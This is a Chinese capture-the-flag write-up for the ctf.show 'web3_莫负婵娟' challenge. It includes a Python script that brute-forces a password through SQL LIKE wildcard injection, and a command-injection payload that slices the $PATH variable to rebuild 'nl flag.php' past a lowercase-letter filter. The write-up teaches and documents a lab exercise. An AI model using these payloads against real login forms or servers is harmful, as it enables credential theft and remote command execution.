web3_莫负婵娟
67815b0c009ee970fe4014abaa3Fa6A0又是被虐的一天
进入正题
打开链接是个登录页面,没有注册的,猜测是sql注入,简单试几个命令

发现能过滤的都被过滤了,这还怎么玩,查看源代码,原来如此
<!--注意:正式上线请删除注释内容! -->
<!-- username yu22x -->
<!-- SELECT * FROM users where username like binary('$username') and password like binary('$password')-->
给出了用户名,又给出了数据库查询语句,这很good
这里用到了like注入,就是模糊匹配
% 表示零个或多个字符的任意字符串
_(下划线)表示任何单个字符
简单举个例子,创建一个名为"Persons"的表,如下
| Id | LastName | FirstName | Address | City |
|---|---|---|---|---|
| 1 | Adams | John | Oxford Street | London |
| 2 | Bush | George | Fifth Avenue | New York |
| 3 | Carter | Thomas | Changan Street | Beijing |
比如要查这个表里的某个数据
我们希望从上面的 "Persons" 表中选取居住在以 "N" 开始的城市里的人:
我们可以使用下面的 SELECT 语句: SELECT * FROM Persons WHERE City LIKE 'N%'
它会自动查找到以N开头的字符串
所以结果是
| Id | LastName | FirstName | Address | City |
|---|---|---|---|---|
| 2 | Bush | George | Fifth Avenue | New York |
既然我们知道了这个,首先_可以表示任何单个字符,我们可以直接用脚本爆破出它的密码
这里附上大佬脚本
import requests a="0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ" url = 'http://15ba58d4-891b-4ca7-b771-3bb8efebbfdf.challenge.ctf.show:8080/login.php' pwd = '' for i in range(32): print('i = '+str(i+1),end='\t') for j in a: password = pwd + j + (31 - i) * '_' data = {'username':'yu22x','password':password} r = requests.post(url,data=data) if 'wrong' not in r.text: pwd += j print(pwd) break

如图,密码是67815b0c009ee970fe4014abaa3Fa6A0
接着进来以后,发现像命令执行
简单尝试一下


尝试了几个命令,别想了,输个字母都是违法的。。。。。。。最后看大佬博客才知道,好家伙把小写字母都过滤了
这里又用到了一个新的知识点
使用$PATH环境变量来截取字母
比如
![]()

但是我们没有内网的环境变量,大佬说开vps监听获得环境变量
这步不会,略过。。。。。。。。。
得到环境变量后,直接构造 nl flag.php
127.0.0.1;${PATH:14:1}${PATH:5:1} ????.???
得到falg


浙公网安备 33010602011771号